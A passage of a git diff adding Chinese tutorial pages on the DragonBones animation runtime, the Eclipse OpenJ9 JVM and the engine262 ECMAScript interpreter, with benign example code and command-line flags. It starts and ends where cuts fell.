+ +### 4. 工厂(Factory)——解析与实例化 + +**BaseFactory / PixiFactory / CocosFactory** 负责: + +1. `parseDragonBonesData` — 读入 `*_ske.json`(骨骼与动画数据) +2. `parseTextureAtlasData` — 读入 `*_tex.json` + 图集 PNG +3. `buildArmatureDisplay` — 按 armature 名称创建可显示实例 + +数据解析后会**缓存在 Factory** 里,同一套资源不必重复 parse。类比:Factory 是「木偶图纸档案室」,build 是从档案里按名字取出一套木偶。 + +### 5. 动画数据与 AnimationState + +- **DragonBonesData**:一份文件可含多个 Armature、多套 Animation +- **Animation**:播放器,提供 `play(name, playTimes)`、`fadeIn`、`stop` 等 +- **AnimationState**:某次播放的状态(当前时间、是否循环、混合权重) + +`playTimes`:`-1` 表示用编辑器里配置的循环次数,`0` 表示无限循环(Cocos Creator 文档与 JS Runtime 行为一致)。 + +### 6. WorldClock — 统一推进时间 + +所有实现 `IAnimatable` 的对象(Armature、WorldClock 子节点)可挂到 **WorldClock**,由它统一 `advanceTime(delta)`。多角色同屏时,一个时钟推进比每个 Armature 自己算时间更稳。Pixi 集成里常在 ticker 里调 `dragonBones.PixiFactory.advanceTime(delta)`。 + +### 7. 导出资源长什么样 + +典型导出(JSON 管线): + +``` +hero_ske.json # 骨骼层级、动画时间轴、事件帧 +hero_tex.json # 图集子图坐标 +hero_tex.png # 合图 +``` + +编辑器还可导出 Egret MovieClip 等格式;现代 Web 项目以 **JSON + 单张/多张纹理** 为主。 + +## 最小可运行示例(PixiJS + TypeScript) + +下列模式与 [DragonBonesJS Pixi 分支](https://github.com/DragonBones/DragonBonesJS/tree/master/Pixi) 及社区包 [pixi-dragonbones-runtime](https://github.com/h1ve2/pixi-dragonbones-runtime) 一致:先 parse,再 build,再 play。 + +```ts +import * as PIXI from 'pixi.js'; +import { PixiFactory } from 'pixi-dragonbones-runtime'; + +const app = new PIXI.Application({ width: 800, height: 600 }); +document.body.appendChild(app.view as HTMLCanvasElement); + +// 假设资源已由 Loader / AssetPack 加载为 JSON 对象或别名 +const factory = PixiFactory.factory; + +factory.parseDragonBonesData('hero_ske.json'); +factory.parseTextureAtlasData('hero_tex.json', 'hero_tex.png'); + +// 第二个参数是 armature 名称,与编辑器里一致 +const armatureDisplay = factory.buildArmatureDisplay('Hero'); + +armatureDisplay.animation.play('run', 0); // 0 = 无限循环 +armatureDisplay.x = 400; +armatureDisplay.y = 500; + +app.stage.addChild(armatureDisplay); + +// 每帧推进骨骼时间(也可在 app.ticker 里调用) +app.ticker.add((delta) => { + PixiFactory.advanceTime(delta / 60); +}); +``` + +要点: + +- **parse 只做一次**,多个角色可共用一个 Factory 缓存 +- `buildArmatureDisplay` 返回的是引擎 Display 对象,能直接 `addChild` +- 别忘了 **advanceTime**,否则动画不会帧进 + +## 示例二:事件监听与运行时改骨(换装思路) + +游戏逻辑常要在动画**播完切状态**、或在**攻击帧**生成子弹。DragonBones 通过事件派发(与引擎桥接后可能是 DOM / Cocos 事件): + +```ts +import { PixiFactory } from 'pixi-dragonbones-runtime'; + +const factory = PixiFactory.factory; +factory.parseDragonBonesData(skeData); +factory.parseTextureAtlasData(texData, texImage); + +const display = factory.buildArmatureDisplay('Knight'); +display.animation.play('attack', 1); // 播一次 + +// 事件名与 DragonBones 常量一致(具体以你所用 Runtime 导出为准) +display.addDBEventListener('complete', () => { + display.animation.play('idle', 0); +}); + +display.addDBEventListener('frameEvent', (event) => { + if (event.name === 'hit') { + spawnDamageCollider(); + } +}); + +// 运行时换武器:换 Slot 上的显示对象,而不是重做动画 +const armature = display.armature; +const slot = armature.getSlot('weapon'); +if (slot) { + const newDisplay = factory.getTextureDisplay('sword_fire'); + slot.setDisplay(newDisplay); +} +``` + +这里体现骨骼动画的两项工程优势: + +1. **动画与逻辑解耦** — `frameEvent` 在编辑器时间轴上打点,程序只响应名字 +2. **换装不换骨** — 同一套 `attack` 动画,换 Slot 贴图即可换武器外观 + +## C++ / Cocos2d-x 侧在做什么 + +你指定的来源仓 [DragonBonesCPP](https://github.com/DragonBones/DragonBonesCPP) 把**同一套 DragonBones 公共库**接到 Cocos2d-x、SFML。流程与 JS 相同,只是 Factory 和 Display 换成 C++ 引擎节点。概念映射不变: + +| 概念 | JS (Pixi) | C++ (Cocos2d-x 集成) | +|------|-----------|----------------------| +| 工厂 | `PixiFactory.factory` | `dragonBones::CCFactory` 等 | +| 显示对象 | `buildArmatureDisplay` | `CCArmatureDisplayNode` / 封装节点 | +| 播动画 | `animation.play(name, times)` | `getAnimation()->play(...)` / `gotoAndPlay` | + +Cocos Creator 里则提供 **ArmatureDisplay** 组件:在属性检查器绑定 `DragonBonesAsset`,脚本里 `armatureDisplay.playAnimation('run', -1)`,并监听 `dragonBones.EventObject.COMPLETE` 等事件——本质仍是 Armature + Animation,只是编辑器帮你挂了资源引用。 + +## 创作端工作流(零基础路线) + +1. **安装 LoongBones / DragonBones Pro**,导入 PSD 分层或单图 +2. 为部件 **绑定骨骼**,在时间轴上打关键帧(走路、待机、攻击) +3. 需要时在时间轴加 **帧事件**(如 `footstep`、`hit`) +4. **导出** JSON + 纹理图集,把三件套放进游戏 `assets/` +5. 在目标引擎按 Runtime 文档 **parse → build → play → advanceTime** +6. 用预览检查与游戏里是否一致(锚点、缩放、像素比) + +官方在线 Demo 合集:[DragonBones/Demos](https://github.com/DragonBones/Demos)。 + +## 与 Spine、逐帧动画怎么选 + +| 维度 | DragonBones | Spine | 逐帧精灵表 | +|------|-------------|-------|------------| +| 开源协议 | MIT Runtime | 编辑器收费、Runtime 需授权 | 无绑定 | +| 国内资料 / Egret·Cocos 集成 | 强 | 中等 | 通用 | +| 网格变形、IK | 支持 | 支持 | 不支持 | +| 学习曲线 | 编辑器 + Runtime 两套 | 类似 | 最低 | +| 适合 | 2D 手游角色、H5 小游戏 | 同上,国际项目多 | 特效、简单 NPC | + +若项目已用 **Phaser 3.12+**,可用 [DragonBonesJS/Phaser](https://github.com/DragonBones/DragonBonesJS/tree/master/Phaser) 适配层;注意社区 README 曾标注 mesh、包围盒等能力与 Phaser 版本相关,接入前先看对应分支说明。 + +## 常见问题 + +**动画不播放,画面停在第一帧** +多半是没调 `advanceTime`,或 `play` 的动画名与 JSON 里不一致(区分大小写)。 + +**parse 多次导致内存涨** +同一 `ske` / `tex` 应只 parse 一次;换角色用多次 `buildArmatureDisplay`。 + +**角色模糊或抖动** +检查图集是否开启多余缩放;PIXI 里注意 `resolution` 与纹理过滤;骨骼锚点是否在编辑器里对齐。 + +**和 Spine 资源能否互导** +编辑器曾支持部分导入 Spine/Cocos 数据,但生产环境建议**选定一条管线**,不要混用运行时。 + +**DragonBones Pro 与开源 Runtime 关系** +编辑器负责产出;Runtime 负责播放。Runtime MIT 开源,可商用;编辑器产品以官网许可为准。 + +## 延伸学习 + +- C++ Runtime:[DragonBones/DragonBonesCPP](https://github.com/DragonBones/DragonBonesCPP) +- JS/TS Runtime:[DragonBones/DragonBonesJS](https://github.com/DragonBones/DragonBonesJS) +- 官网与 LoongBones:[loongbones.app](http://www.loongbones.app/) +- Pixi 现代集成:[pixi-dragonbones-runtime 文档](https://h1ve2.github.io/pixi-dragonbones-runtime/guide/) +- 性能向 Demo:[dragonbones.github.io/demo](https://dragonbones.github.io/demo/) + +## 小结 + +DragonBones 把 2D 角色动画从「逐帧画图」变成「骨骼驱动贴图」:美术在 LoongBones 里绑骨、打时间轴;程序用 **Factory 解析 JSON 与图集**,用 **Armature** 显示角色,用 **Animation.play** 切换动作,用 **Slot / Bone API** 做换装与物理挂点。作为**国产开源**骨骼方案,它与 Cocos、Egret、Pixi 等生态结合紧密;理解 Bone、Slot、Armature、Factory 四条概念,就能在任意语言 Runtime 里举一反三。 diff --git a/src/content/docs/projects/eclipse-openj9.md b/src/content/docs/projects/eclipse-openj9.md new file mode 100644 index 000000000..cbaae303e --- /dev/null +++ b/src/content/docs/projects/eclipse-openj9.md @@ -0,0 +1,315 @@ +--- +title: Eclipse OpenJ9 — IBM 高性能 JVM +来源: https://github.com/eclipse-openj9/openj9 +日期: 2026-06-13 +子分类: 语言运行时 +分类: 编译器 +provenance: pipeline-v3 +--- + +## 是什么 + +**Eclipse OpenJ9** 是 Eclipse 基金会维护的一款高性能、可扩展的 **Java 虚拟机(JVM)** 实现。它最初由 IBM 在数十年企业级 JDK 研发中打磨成熟,2017 年贡献给 Eclipse 社区;今天你可以通过 **IBM Semeru**、部分 **Eclipse Temurin** 构建等发行版,用 OpenJ9 **替换默认的 HotSpot**,运行同一套 OpenJDK 字节码。 + +日常类比:如果把 **OpenJDK** 看成「标准化的高速公路网」(类库、工具链、规范),那么 **JVM** 就是在这条路上跑的 **智能车队调度中心**—— + +- **HotSpot**(Oracle/OpenJDK 默认)像一家大型连锁加油站:C1/C2 分层 JIT、G1/ZGC 等收集器,生态文档极多,是「标准答案」; +- **OpenJ9** 像 IBM 调校多年的 **货运专线调度系统**:更强调 **启动快、内存省、多实例共享**,尤其适合容器里同时跑几十个 Java 微服务。 + +同一辆「货车」(你的 `.jar`)通常不用改代码,换引擎(换 JVM 发行版)就能跑;但油耗表(GC 日志)、保养手册(`-X` 参数)和 HotSpot 不完全相同,调优前需要重新摸底。 + +## 为什么重要 + +不懂 OpenJ9,下面这些场景很难选对 JVM、也很难解释「换了个 JDK 为什么内存降了 30%」: + +- **云原生 / Kubernetes**:每个 Pod 一个 JVM,**Class Data Sharing(CDS)** 让多个进程共享类元数据,RSS 不再线性叠加 +- **Serverless / 短生命周期**:内置 **AOT(Ahead-of-Time)** 把热点方法提前编成原生码,减少 JIT 预热时间 +- **IBM 企业栈**:WebSphere、Liberty、部分中间件长期以 OpenJ9 为默认运行时 +- **与 HotSpot 的差异**:默认 GC 是 **gencon** 而非 G1;诊断产物是 **Java dump / snap dump** 体系,不是只有 HotSpot 那套 `-XX:+HeapDumpOnOutOfMemoryError` 习惯 +- **面试与架构选型**:「我们为什么用 Semeru 而不是 Temurin?」需要能讲清 **footprint vs 峰值吞吐** 的权衡 + +## OpenJ9 在生态中的位置 + +``` +Java 源码 (.java) + │ + ▼ javac(OpenJDK 编译器,与 JVM 无关) + 字节码 (.class) + │ + ├──────────────────┬──────────────────┐ + ▼ ▼ ▼ + HotSpot JVM OpenJ9 JVM GraalVM CE + (Temurin 默认) (Semeru 等) (Native Image / JIT) + │ │ + └──────── 同一 JVMS 规范 ────────┘ +``` + +| 发行版示例 | 捆绑 JVM | 典型用途 | +|------------|----------|----------| +| Eclipse Temurin | HotSpot(默认) | 通用 LTS、社区标准 | +| IBM Semeru Runtimes | OpenJ9 | 云、容器、IBM 生态 | +| Oracle JDK | HotSpot | 商业支持 | +| 自建 `openjdk + openj9` | OpenJ9 | 前沿特性、贡献上游 | + +OpenJ9 **不是**另一门语言,也 **不替代** `javac`;它替换的是进程里的 **`libjvm`** 执行引擎。 + +## 核心概念 + +### 1. 与 HotSpot 的「同」与「不同」 + +**相同点**: + +- 实现 **Java Virtual Machine Specification**,跑标准字节码 +- 解释执行 + JIT 动态编译 + 垃圾回收 + 标准 `java.*` API(由 OpenJDK 类库提供) +- 支持 JVMTI、JFR 的替代/扩展诊断能力(OpenJ9 有自家 **Dump / Trace** 体系) + +**不同点(调优时最常踩坑)**: + +| 维度 | HotSpot(常见默认) | OpenJ9 | +|------|---------------------|--------| +| 默认 GC | G1(JDK 9+) | **gencon**(分代 + 并发全局) | +| 类共享 | CDS(`-Xshare:...`) | **Shared Classes Cache**(`-Xshareclasses`) | +| AOT | 需 GraalVM 等 | **内置**,与共享缓存联动 | +| 关闭 JIT | `-Xint` | `-Xint` 或 `-Xnojit` | +| 选 GC 策略 | `-XX:+UseG1GC` 等 | **`-Xgcpolicy:gencon`** 等 | + +### 2. Class Data Sharing(共享类缓存) + +多个 JVM 进程可以 attach 到同一块 **共享类缓存(shared classes cache)**,把已加载类的 **ROM 元数据**(以及可选的 AOT/JIT 数据)放在共享内存里。 + +效果类比:**第一个 Java 服务把「字典」抄进会议室白板;后面进场的同事直接看白板,不用每人带一本厚字典。** + +- 默认对 **bootstrap 类** 启用共享(等价于 `-Xshareclasses:bootClassesOnly,nonFatal,silent`) +- 显式开启:`-Xshareclasses` +- 容器里常配合 `-Xshareclasses:name=myapp,cacheDir=/cache,persistent` 把缓存挂到 volume +- 实用建议:生产环境常加 **`nonFatal`**——共享缓存初始化失败时 VM 仍可启动,只是退化为不共享 + +### 3. AOT 与 JIT 协同 + +OpenJ9 的 **JIT** 在运行中统计方法调用次数,超过阈值后编译为本地码;同时 **AOT** 会把部分方法编译结果 **写入共享缓存**,下次启动直接复用。 + +- 关闭 AOT:`-Xnoaot` +- 纯解释(排障):`-Xint`(同时关掉 JIT 与 AOT) +- 共享缓存里还可存 **JIT profiling 数据**,后续实例 **启动更快、跑得更快** + +这与 HotSpot「全靠运行时 C2 慢慢热起来」的路径不同,是 OpenJ9 在 **冷启动** 场景下的招牌能力。 + +### 4. 垃圾回收(GC)策略 + +用 **`-Xgcpolicy:`** 选择策略(HotSpot 的 `-Xgc` 在 OpenJ9 里主要做 **细调**,选策略用 `-Xgcpolicy`): + +| 策略 | 命令 | 适用场景 | +|------|------|----------| +| **gencon**(默认) | `-Xgcpolicy:gencon` | 事务型、大量短生命周期对象;平衡吞吐与暂停 | +| **balanced** | `-Xgcpolicy:balanced` | 大堆、希望暂停更平滑;区域化堆 | +| **optavgpause** | `-Xgcpolicy:optavgpause` | 更在意暂停时间 | +| **optthruput** | `-Xgcpolicy:optthruput` | 吞吐优先 | +| **metronome** | `-Xgcpolicy:metronome` | 确定性低延迟(特定平台) | +| **nogc** | `-Xgcpolicy:nogc` | 测试、几乎不分配的场景 | + +堆大小仍用 **`-Xms` / `-Xmx`**;分代策略下可用 **`-Xmn`** 调节新生代。 + +### 5. 诊断:Dump 与 Verbose 日志 + +OpenJ9 在崩溃、OOM、`com.ibm.jvm.Dump` API 或 **`-Xdump`** 触发时,会生成多种 **dump 文件**(Java dump、heap dump、system dump、JIT dump、snap dump 等)。排障时常开: + +- **GC 日志**:`-Xverbosegclog` 或 `-Xlog:gc*`(部分版本兼容 HotSpot 风格) +- **类共享详情**:`-Xshareclasses:verbose` +- **JIT 日志**:`-Xjit:verbose` + +迁移自 HotSpot 时,不要假设 `jmap -dump` 是唯一手段;先读 OpenJ9 文档里的 **Switching to OpenJ9** 对照表。 + +### 6. 容器与内存感知 + +OpenJ9 会读取 **cgroup 内存限制**,在容器里默认行为与裸机不同。云原生部署应: + +- 明确 **`-Xmx`**(不要超过容器 limit 的 ~75–80%) +- 为 **共享类缓存** 单独规划目录与大小(**`-Xscmx`**) +- 用 **`java -XshowSettings:vm -version`** 查看 VM 识别到的环境 + +## 安装与验证 + +Semeru(OpenJ9 的常用发行版)安装后,验证 JVM 身份: + +```bash +# macOS / Linux 示例:下载 Semeru 21 LTS 后 +export JAVA_HOME=/path/to/ibm-semeru-open-21-jdk +$JAVA_HOME/bin/java -version +``` + +典型输出包含: + +``` +openjdk version "21.0.x" ... +IBM Semeru Runtime Open Edition ... +Eclipse OpenJ9 VM (build openj9-0.xx.x, ...) +``` + +看到 **OpenJ9** 字样,说明运行时已是 IBM 引擎而非 HotSpot。 + +## 代码示例 + +### 示例 1:确认当前 JVM 是否为 OpenJ9 + +纯 Java,无第三方依赖,适合写进健康检查或启动日志: + +```java +import java.lang.management.ManagementFactory; +import java.lang.management.RuntimeMXBean; + +public class WhichJvm { + public static void main(String[] args) { + RuntimeMXBean rt = ManagementFactory.getRuntimeMXBean(); + String vmName = rt.getVmName(); + String vmVendor = rt.getVmVendor(); + + System.out.println("VM name: " + vmName); + System.out.println("VM vendor: " + vmVendor); + System.out.println("Java home: " + System.getProperty("java.home")); + + boolean openJ9 = vmName.contains("OpenJ9") || vmVendor.contains("IBM"); + System.out.println("Is OpenJ9: " + openJ9); + + if (openJ9) { + System.out.println("Tip: tune with -Xgcpolicy, -Xshareclasses, -Xmx"); + } else { + System.out.println("Tip: likely HotSpot — tune with -XX:+UseG1GC etc."); + } + } +} +``` + +编译运行: + +```bash +javac WhichJvm.java +java WhichJvm +``` + +### 示例 2:容器启动脚本——共享类缓存 + gencon + +下面是一段 **Dockerfile / K8s 启动命令** 中常见的 OpenJ9 参数组合(Spring Boot fat jar): + +```bash +#!/bin/sh +CACHE_DIR=/opt/jvm-cache +mkdir -p "$CACHE_DIR" + +exec java \ + -Xms256m -Xmx512m \ + -Xgcpolicy:gencon \ + -Xshareclasses:name=springboot-app,cacheDir=${CACHE_DIR},persistent,nonFatal \ + -Xscmx128m \ + -Xdump:none \ + -jar /app/application.jar +``` + +含义简述: + +- **`gencon`**:OpenJ9 默认分代并发策略,适合 Web 请求模型 +- **`name=...,persistent`**:缓存命名并落盘,Pod 重启后仍可复用 +- **`nonFatal`**:缓存损坏或权限问题时仍能启动 +- **`-Xscmx128m`**:限制共享缓存软上限,避免在小容器里占满磁盘/共享内存 + +第二次启动同一镜像时,观察启动耗时与 RSS,通常比无 `-Xshareclasses` 更明显。 + +### 示例 3:对比 GC 与显式 GC 行为 + +```java +public class GcPlayground { + static volatile byte[] sink; + + public static void main(String[] args) throws Exception { + for (int round = 0; round < 5; round++) { + for (int i = 0; i < 50_000; i++) { + sink = new byte[4096]; + } + System.out.println("round " + round + " allocated, suggesting System.gc()"); + System.gc(); + Thread.sleep(200); + } + System.out.println("done"); + } +} +``` + +用 OpenJ9 观察 GC 日志: + +```bash +java -Xgcpolicy:gencon \ + -Xverbosegclog:gc.log \ + -Xms64m -Xmx256m \ + GcPlayground +``` + +对比 HotSpot 时,把策略换成 `-XX:+UseG1GC -Xlog:gc*:file=gc.log`,你会看到 **日志格式、GC 周期命名、对 `System.gc()` 的响应** 都不同。OpenJ9 可用 **`-Xdisableexplicitgc`** 忽略显式 GC(类似 HotSpot 的 `-XX:+DisableExplicitGC`)。 + +## 从 HotSpot 迁移的速查 + +| 你想做的事 | HotSpot 常见写法 | OpenJ9 对应 | +|------------|------------------|-------------| +| 堆初始/最大 | `-Xms` / `-Xmx` | 相同 | +| 选 GC | `-XX:+UseG1GC` | `-Xgcpolicy:gencon`(或 balanced 等) | +| 类数据共享 | `-Xshare:on` | `-Xshareclasses` | +| 关 JIT 排障 | `-Xint` | `-Xint` 或 `-Xnojit` | +| 关显式 GC | `-XX:+DisableExplicitGC` | `-Xdisableexplicitgc` | +| 线程栈 | `-Xss` | 相同(仅 Java 栈;本地栈见 `-Xmso`) | + +完整对照见官方 [Switching to OpenJ9](https://eclipse.dev/openj9/docs/cmdline_migration/)。 + +## 何时选 OpenJ9,何时坚持 HotSpot + +**更适合 OpenJ9**: + +- 同一节点上 **密集部署多个 JVM**(微服务、Tomcat 多实例) +- **冷启动** 与 **内存占用** 是 SLO 瓶颈(FaaS、CI 里短跑 Java) +- 已使用 **IBM Semeru / WebSphere Liberty** 等配套栈 + +**更适合 HotSpot**: + +- 依赖大量 **HotSpot 特有调优经验**、G1/ZGC 细参、async-profiler 默认工作流 +- 极致 **单进程长时间峰值吞吐**,且团队不愿重做 GC 基线 +- 某些第三方 native agent 仅针对 HotSpot 测试 + +务实做法:用 **相同负载 JAR** 在 Temurin vs Semeru 各跑一轮 **启动时间、RSS、P99 延迟、吞吐** 对比,再定生产默认。 + +## 构建与源码结构(开发者向) + +OpenJ9 源码在 [eclipse-openj9/openj9](https://github.com/eclipse-openj9/openj9),与 OpenJDK 类库 **分开构建**,再组合成完整 JDK: + +``` +openj9/ +├── runtime/ # VM 核心:解释器、JIT、GC、端口层 +├── jcl/ # Java 类库补丁(与 OpenJDK 合并) +├── sourcetools/ # 诊断工具 +└── doc/ # 设计与用户文档 +``` + +个人从零编译成本较高;日常学习建议 **直接下载 Semeru 二进制**,读文档与做小实验即可。要向社区贡献,从 **小 bug、文档 PR** 入手比全量编译更现实。 + +## 常见误区 + +1. **「OpenJ9 不是真正的 Java」**——它通过 TCK 的 OpenJDK 发行版同样兼容 Java SE;差异在实现细节,不在语言 +2. **「把 HotSpot 的 `-XX:+UseZGC` 抄过来就能用」**——策略名与机制不同,应改用 `-Xgcpolicy:...` +3. **「共享类缓存越大越好」**——`-Xscmx` 过大在小容器里浪费;配合 `verbose` 看 unstored bytes +4. **「AOT 一定更快」**——极短任务可能来不及摊销;用实测验证 +5. **「换 JVM 不用回归测试」**——序列化、反射、JNI、时钟与 GC 停顿分布都可能变 + +## 学习路径建议 + +1. **会用**:安装 IBM Semeru 21 LTS,`java -version` 确认 OpenJ9 +2. **会对比**:同一 JAR 在 Temurin vs Semeru 测启动与内存 +3. **会调**:掌握 `-Xgcpolicy`、`-Xshareclasses`、`-Xmx`、`-Xverbosegclog` +4. **会排**:学会 `-Xdump`、Java dump 阅读、`-Xshareclasses:printStats` +5. **会跟**:关注 [OpenJ9 releases](https://github.com/eclipse-openj9/openj9/releases) 与 Semeru 安全公告 + +## 延伸阅读 + +- 官方文档:[https://eclipse.dev/openj9/docs/](https://eclipse.dev/openj9/docs/) +- 新用户导读:[New to OpenJ9?](https://eclipse.dev/openj9/docs/openj9_newuser/) +- GC 策略详解:[Garbage Collection policies](https://eclipse.dev/openj9/docs/gc/) +- 兄弟笔记:[[openjdk]](OpenJDK 与 HotSpot 主线)、[[graalvm]](另一条 JVM 技术路线) + +## 小结 + +Eclipse OpenJ9 是 **经 IBM 企业生产验证、现由 Eclipse 社区演进** 的 JVM 实现:与 HotSpot 争的不是「谁更 Java」,而是 **谁更适合你的部署密度与启动模型**。零基础只需记住三件事——**共享类缓存省内存、AOT+JIT 省预热、`-Xgcpolicy` 选 GC**;在同一 OpenJDK 字节码之上,用 Semeru 跑起来对比一次,比背参数表更有说服力。 diff --git a/src/content/docs/projects/engine262.md b/src/content/docs/projects/engine262.md new file mode 100644 index 000000000..305494048 --- /dev/null +++ b/src/content/docs/projects/engine262.md @@ -0,0 +1,273 @@ +--- +title: engine262 — 用 JS 写的 ECMAScript 规范实现 +来源: https://github.com/engine262/engine262 +日期: 2026-06-13 +子分类: 语言运行时 +分类: 编译器 +provenance: pipeline-v3 +--- + +## 是什么 + +**engine262** 是一个用 JavaScript(实现语言为 TypeScript)编写的 **ECMA-262 解释器**——不是把 JS 编译成机器码的生产引擎,而是一台「按规范条文逐句执行的 JS 虚拟机」,专门用来**理解语义、试验新特性、跑 test262 一致性测试**。 + +日常类比:ECMA-262 是《道路交通法》原文;V8、SpiderMonkey 是量产汽车,要跑得快、省油、耐撞;**engine262 则是法学院里的「条文演练沙盘」**——车速很慢,但红灯能不能右转、环岛让行谁先走,每一条都能对照法条原文查清楚。你在沙盘上改一条规则(比如加上 `do` 表达式),立刻就能开车试,不用等整车厂改发动机。 + +项目由 Dannii Fisher(GitHub: devsnek)等人从 2018 年起维护,代码结构与 ECMA-262 规范中的算法名称高度对应(`Evaluate`、`GetValue`、`ToNumber` 等),是前端工程师和 TC39 参与者理解「JS 到底怎么规定」的利器。 + +## 为什么重要 + +不了解 engine262,下面这些场景会说不清: + +- **为什么 Babel 能转译 optional chaining,却说不清 `?.` 在 `null` 与 `undefined` 上的细微差别**——engine262 按规范算法执行,能暴露转译与语义之间的缝隙 +- **为什么 TC39 提案阶段需要「能跑的参考实现」**——在 V8 里加一个 Stage 1 特性要动 JIT、GC、内建对象,周期以月计;engine262 改 parser + evaluator 往往几十行 diff +- **test262 是什么、引擎怎么证明「符合标准」**——engine262 自带 test262 runner,与 Chrome V8 用的是同一套官方一致性测试 +- **「规范 compliant」和「能跑 npm 包」不是一回事**——engine262 追求 100% 规范符合,不追求速度,也不适合替代 Node 跑业务 + +## 设计目标与非目标 + +官方 README 写得很直白: + +| 目标 | 含义 | +|------|------| +| **100% Spec Compliance** | 行为以 ECMA-262 为准,宁可慢也要对 | +| **Introspection(可内省)** | 能观察执行过程,方便教学与调试 | +| **Ease of modification(易修改)** | 加 TC39 提案、改语义成本低 | + +| 非目标 | 含义 | +|--------|------| +| **Speed** | 不为性能牺牲上述三者;生产环境请用 V8 / JavaScriptCore | + +这与 QuickJS、Hermes 的路线截然不同:后两者为**嵌入与启动**优化;engine262 为**规范忠实度与可实验性**优化。 + +## 核心概念 + +### 1. ECMA-262 与 engine262 的关系 + +- **ECMA-262**:JavaScript 语言的正式规范文档(TC39 维护),用伪代码描述词法、语法、运行时语义 +- **engine262**:把这份伪代码**尽量一对一**翻译成 TypeScript 可执行代码 + +类比:规范是乐谱,engine262 是「严格按谱演奏的乐团」——不即兴改编,方便你对照乐谱找错音。 + +### 2. Agent 与 Realm(执行环境) + +规范里的两个顶层抽象,在 API 里直接暴露: + +- **Agent**:一次「JS 进程」——包含微任务队列、当前正在跑的 Realm 等(类似 Node 进程里只有一个主 Agent) +- **Realm**:独立的**全局环境**——有自己的 `globalThis`、内建对象;浏览器里每个 iframe 是一个 Realm + +在 Node 宿主里,你用 `Agent` + `ManagedRealm` 创建沙箱,再 `evaluateScript` 往里塞代码。 + +### 3. 解析器 + 树遍历解释器(Tree Walker) + +根据社区资料与仓库结构: + +- **Parser**:递归下降(recursive descent),产出 AST +- **Evaluator**:对 AST 做**树遍历**(tree walker),用 generator 实现规范里的 `Evaluate` 等算法 + +没有 LLVM、没有重型 JIT。每一步语义跳转都能在源码里找到对应函数——这是「易修改」的根基。 + +### 4. Feature flags(特性开关) + +CLI 支持 `--features=` 与 `--list-features`,可以开关规范中的可选特性或实验提案,方便对比「开/关某特性时行为差异」。这对验证 Stage 0–2 提案特别有用。 + +### 5. test262 集成 + +[test262](https://github.com/tc39/test262) 是 ECMAScript 的**官方一致性测试套件**(五万+ 测试文件)。engine262 提供 `npm run test:test262`,能批量跑这些用例。项目历史上曾用它**发现规范文档与测试用例本身的 bug**——说明实现足够「较真」。 + +### 6. 与 Babel、生产引擎的分工 + +``` +你的 JS 源码 + │ + ├─► Babel:语法降级,方便在旧引擎跑新语法(不一定 100% 语义等价) + │ + ├─► V8 / JSC:生产执行,快,改语义成本高 + │ + └─► engine262:按规范直译执行,慢,改语义成本低 +``` + +README 举例:给 engine262 加 **do 表达式**(TC39 提案),只需在 `evaluator` 里加一个 `case 'DoExpression'`,在 `ExpressionParser` 里加几行解析——diff 量级远小于改 V8。 + +### 7. boost:可选加速层 + +子项目 [engine262/boost](https://github.com/engine262/boost) 提供**优化版解释器**,用可理解性换执行速度,可挂到 `Agent({ boost: ... })` 上。与主项目目标相反,属于进阶插件,零基础可先忽略。 + +### 8. 安装与包名注意 + +npm 上原包名 `@engine262/engine262` 因发布权限问题,维护者临时改用 **`@magic-works/engine262`**。安装时以 README 当前说明为准。运行 engine262 **本身**需要宿主 JS 引擎支持较新的 ES 特性(通常用较新的 Node.js)。 + +## 执行流水线(零基础版) + +从一段 JS 字符串到出结果,路径大致如下: + +``` +JS 源码字符串 + │ + ▼ 词法 + 语法分析(Parser) + AST(抽象语法树) + │ + ▼ 语义求值(Evaluator,对齐规范 Evaluate 算法) + Completion Record(正常值或 throw) + │ + ▼ 宿主桥接(console、inspect、test262 的 $262 等) + Node 进程的 stdout / 测试结果 +``` + +与 V8 的「解析 → 字节码 → JIT」不同,engine262 停在「AST + 直译」,所以**慢但透明**。 + +## 实践案例 + +### 案例 1:CLI 快速试代码 + +全局或 `npx` 安装后,可直接在终端跑片段: + +```bash +# 安装(包名以官方 README 为准) +npm install @magic-works/engine262 + +# 求值表达式并退出 +npx engine262 --eval "console.log([1, 2, 3].map(x => x * 2))" + +# 以模块方式执行文件 +npx engine262 --module ./my-module.mjs + +# 列出可切换的特性 +npx engine262 --list-features + +# 打开实验特性(示例,具体名称以 --list-features 为准) +npx engine262 --features=all --eval "0" +``` + +默认会启动类似 Node 的 **Inspector**(`ws://localhost:9229/`),可用 Chrome DevTools 连接调试——对理解「规范级」执行过程很有帮助。在线沙箱:[engine262.js.org](https://engine262.js.org)。 + +### 案例 2:Node API 嵌入自定义 Realm + +下面改编自官方 `lib-src/node/example.mts`,展示如何在 Node 里创建 Agent、Realm,并捕获脚本抛错: + +```typescript +import { + Agent, + ManagedRealm, + NormalCompletion, + ThrowCompletion, + inspect, + setSurroundingAgent, +} from '@magic-works/engine262'; + +// 1. 创建 Agent 并设为当前 surrounding agent +const agent = new Agent({}); +setSurroundingAgent(agent); + +// 2. 创建独立 Realm(独立 global 环境) +const realm = new ManagedRealm({ + resolverCache: new Map(), + name: 'My Realm', + specifier: process.cwd(), +}); + +// 3. 在 realm.scope 内执行脚本(规范要求的作用域边界) +realm.scope(() => { + realm.evaluateScript( + `console.log('Hello from engine262!'); + console.log('2 + 2 =', 2 + 2);`, + { specifier: 'example.mts' }, + ); + + const result = realm.evaluateScript( + `throw new Error('This is an example error');`, + { specifier: 'example.mts' }, + ); + + if (result instanceof NormalCompletion) { + console.log('No Error'); + } else if (result instanceof ThrowCompletion) { + console.error('Caught:', inspect(result.Value)); + } +}); +``` + +要点: + +- `evaluateScript` 返回的是规范里的 **Completion**(`NormalCompletion` / `ThrowCompletion`),不是直接 try/catch JS 异常——这与「按规范建模」一致 +- 需要自己把 `console` 等方法挂进 Realm(官方 example 用 `createConsole`);浏览器宿主内建对象不会自动出现 + +### 案例 3:对照规范改语义(do 表达式) + +README 中的经典 diff 说明「易修改」有多具体: + +```diff +// evaluator.mts — 多一个 AST 节点分支 ++ case 'DoExpression': ++ return yield* Evaluate_Block(node.Block); + +// ExpressionParser.mts — 多一种 primary 表达式 ++ case Token.DO: { ++ const node = this.startNode(); ++ this.next(); ++ node.Block = this.parseBlock(); ++ return this.finishNode(node, 'DoExpression'); ++ } +``` + +Parser 认出新语法,Evaluator 规定「do 块」如何求值——两步走完,就能在沙箱里跑提案代码。这正是 engine262 存在的理由。 + +## 与相近项目对比 + +| 项目 | 语言 | 主要目标 | 与 engine262 关系 | +|------|------|----------|-------------------| +| **engine262** | TypeScript 